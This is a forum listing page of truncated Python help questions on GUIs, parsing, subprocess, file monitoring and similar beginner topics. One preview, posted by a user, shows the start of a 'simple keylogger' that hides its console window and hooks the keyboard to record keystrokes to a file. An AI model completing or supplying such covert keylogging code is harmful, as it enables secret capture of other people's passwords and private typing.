15,190 Topics
![]() | |
Hi, This is my first post here, since I am new to Python. I've been messing around a bit with it and I think I have the basics in my fingers now. I've run into a problem with the HTMLParser: I want to use it to collect the url's contained … | |
Hello there, I am working on pylon frame work, when i am issuing return render('/test.mako'), it is displaying index out of renge error. Plz Reply to this post if u have any idea in this. Thanks ss | |
Hi i need someone to help me at least to give me an idea of how start thos assigment, is my first time taking a python class and is so advance for 1 month. I have to create a board game connect 4 with this instructions: The rules are as … | |
Hi guys! I have a problem calling the numpy.random.hypergeometric function with certain values. It seems like if the values hit in some certain range the program stalls and never finishes. I get no errors or anything and also a wxpython GUI that i have calling this function crashes with no … | |
Hi, i want to write a program that will automate my backup on a windows using python but i have no idea how to get started. can someone please point me to the right direction. thanks in advance | |
I need to monitor a number of folders over a period of time. so i pass the files in each folder to a list of list. [CODE] import os path_to_watch = [] path_to_watch.append("/path1/") path_to_watch.append("/path2/") path_to_watch.append("/path3/") before = [],[] for item, folder in enumerate(path_to_watch): print "i am here", item, " : … | |
Is there any problem with manipulating very long strings? When I say long, I'm meaning like over 100,000 characters long. I'm using examplelongString = data.readline() to get it from an html file. I then use examplelongString .find('text to find') to search for stuff. I've been trying to do it, it … | |
Hello, im currently working on a program and im trying to create a cascade, This cascade code works by itself but i want to implement def hello and def toggle into def __init__(self, master=None), at the moment im getting and error "UnboundLocalError: local variable 'submenu' referenced before assignment" does anyone … | |
I am trying to show a diff in two files from a daily script. i am unable to get it to read the files correctly and show what is different. example of the files is - <ad_xml> <group name="group1"> </group> <group name="group2"> <user> <name>user1</name> </user> <user> <name>user2</name> </user> <user> <name>user3</name> … | |
I had a question...Im using TKinter in python trying to build a GUI to run some command prompt scripts others have made. I am having some trouble though...pretty early on... I can open a file and get the file name, but I can not even pass the file name to … | |
The SetValue() and GetValue() are to complicated, but it should work with WriteText()... although this always prints a newline if I press the space button...? [code=python] def OnKeyDown(self, event): insp=self.text_ctrl_1.GetInsertionPoint() words=self.text_ctrl_1.GetValue().split(" ") #get all the words hl=[["in","red"]] #syntax list All words=in should become red prev="" #previous words processed wordcount=0 for … | |
Hi , I am trying to show members of groups in Active Directory and then enter them into XML format but am having problems getting it to work. I am new to all this stuff but have to get this to work fairly quick. Can someone advise please. [CODE]""" Script … | |
Hello all, just making a quick check to see if anyone can help me fix my code. I need to show the result in an entry screen... [CODE]# Tkinter class template to test apps try: # Python2 import Tkinter as tk except ImportError: # Python3 import tkinter as tk class … | |
Hi frnds, I am a newbie to python ( I am learning it for 1 month now on win platform) .I came across these cool functions of python like os.path.isdir("\\\\blah\\") but since "blah" is password protected I am always getting false as return!!!! Can anyone please tell me how to … | |
Is there any way to access a specific Window/Frame? [CODE]#!/usr/bin/python # communicate.py import wx class LeftPanel(wx.Panel): def __init__(self, parent, id): wx.Panel.__init__(self, parent, id, style=wx.BORDER_SUNKEN) self.count = 0 button1 = wx.Button(self, -1, "new frame", (-1, -1)) self.Bind(wx.EVT_BUTTON, self.OnNewFrame, id=button1.GetId()) def OnNewFrame(self,event): StockFrame(self,-1,'window %s' %self.count) self.count = self.count + 1 class StockFrame(wx.Frame): … | |
![]() | I'm trying to figure out how to make a recursive maze solver, but I'm stuck at how to tell the maze to turn around and trace back its trail once it hits a dead end. Anyone able to help me? |
Hi guys, Im trying to bring up a new window then the Credits button located in the help menu is clicked. Im trying to run it as a command. So right now, that code doesnt work unless you comment out the creditsCommand region. So can anyone point me in the … | |
Hi, I have written a short program that will scrape a given website for img src that have their attribute tag with id="marked". The program works, but I am not quiet sure which attributes to make private. Here is the code. [CODE]import urllib from BeautifulSoup import * class ImgScrape(object): def … | |
I'm just playing around with basic GUI code. I have created two check boxes, and a text field below them. I want it to say, "I like Pizza", 'I like Pasta", "I like nothing", or "I like Pizza and Pasta" in the text field depending upon which checkboxes are ticked. … | |
I have made a simple keylogger but there are some problems with it. [CODE]import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) def OnKeyboardEvent(event): if event.Ascii==28: _exit(1) if event.Ascii != 0: f=open('C:\Users\Peter\Desktop\output.txt','r') buffer=f.read() f.close() f=open('C:\Users\Peter\Desktop\output.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n/' if event.Ascii==32: keylogs='/s/' if event.Ascii==8: keylogs='/b/' if … | |
Is it possible to search for a string in an array that is in a larger array? I have an array that contains arrays of either one, two, three, or four strings. for instance: myList[1] = ['dog', 'cat'] myList[2] = ['lizard', 'sheep', 'pig'] I want to search for 'sheep' Is … | |
Hi - I get the following "The program is still running! Do you want to kill it?" from the python IDE when I run the following splashscreen. Any ideas on how to fix it? [CODE]#!/usr/bin/python import wx class MyFrame(wx.Frame): def __init__(self, parent, id=wx.ID_ANY, title="", pos= wx.DefaultPosition, size=wx.DefaultSize, style=wx.DEFAULT_FRAME_STYLE|wx.SUNKEN_BORDER): wx.Frame.__init__(self, parent, … | |
I use textwrangler for osx right now, but i want to see what other free ide's are out there. Is there one with tabs for classes and object to be separated? | |
Hi, i am currently using wx.xrc to create parts of my programs, but i got a little problem: [B]How can I add a platebutton(wx.lib.platebtn) to my xrc file?[/B] | |
Hi, What's the easiest way to check whether an item is in a list and then get to that element and do something with it? So far I can think of [CODE] if x in List: for x in List: if x = y: do something [/CODE] Thank you. | |
Hi, I'm trying to get a python script to automatically start at boot up in xubuntu. The idea is for the python - tk-inter window to pop up just after boot up and start its routine. I have tried including the path in the application auto start, modifying bash commands, … | |
Hi Everyone :-) I'm writing a small Python script that invokes the Linux shell and runs some BASH commands in it. My problem is, I can't seem to use the output and store it in a Python variable. Here's what i'm trying: [CODE] import subprocess value = subprocess.call("ls -la", shell=True) … | |
Hi all, How to access the value of WER from the following: [code] valuesfor1 = [('WER', 100)] valuesfor2= [('WER', 700)] [/code] My requirement is I need to compare WER from valuesfor1 with WER from valuesfor2. ie something like [code] if [('WER', 100)] < [('WER', 700)] : print "values for 2 … | |
Is there a way to catch the text a user types, then do some function on it and then return it to the screen? input(text) -> function(text) -> output(text) I want to colourize certain words, so I want the function to find those words and then colorize them.. | |
Hey folks, I am new on the forum and new to Python. I am making a news site and using python/django. My site will get all the news from the DB and fill up the template. As there is about 10 lines for the news and at some moment i … |
The End.